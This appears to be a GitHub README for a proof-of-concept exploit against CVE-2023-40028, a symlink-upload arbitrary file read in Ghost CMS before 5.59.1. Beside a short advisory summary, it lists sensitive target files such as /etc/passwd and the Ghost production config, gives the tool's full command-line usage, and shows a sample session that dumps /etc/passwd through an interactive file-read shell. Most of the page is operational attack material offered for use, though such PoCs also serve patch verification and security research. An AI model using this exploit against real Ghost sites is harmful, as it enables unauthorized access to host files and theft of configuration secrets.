godylockz/cve-2023-40028POC for CVE-2023-40028: Ghost CMS Arbitrary File Read
This Proof-of-Concept (POC) can be used to exploit CVE-2023-40028 to achieve file-read access in Ghost CMS.
Ghost is an open source content management system (CMS). Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's content/ folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Severity: 6.5 MEDIUM Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Some plaintext non-binary files that could be of interest:
/etc/hosts Linux local-DNS resolution/etc/passwd Linux user accounts/etc/group Linux user groups/var/lib/ghost/config.local.json Ghost CMS Local Config/var/lib/ghost/config.production.json Ghost CMS Production Configusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash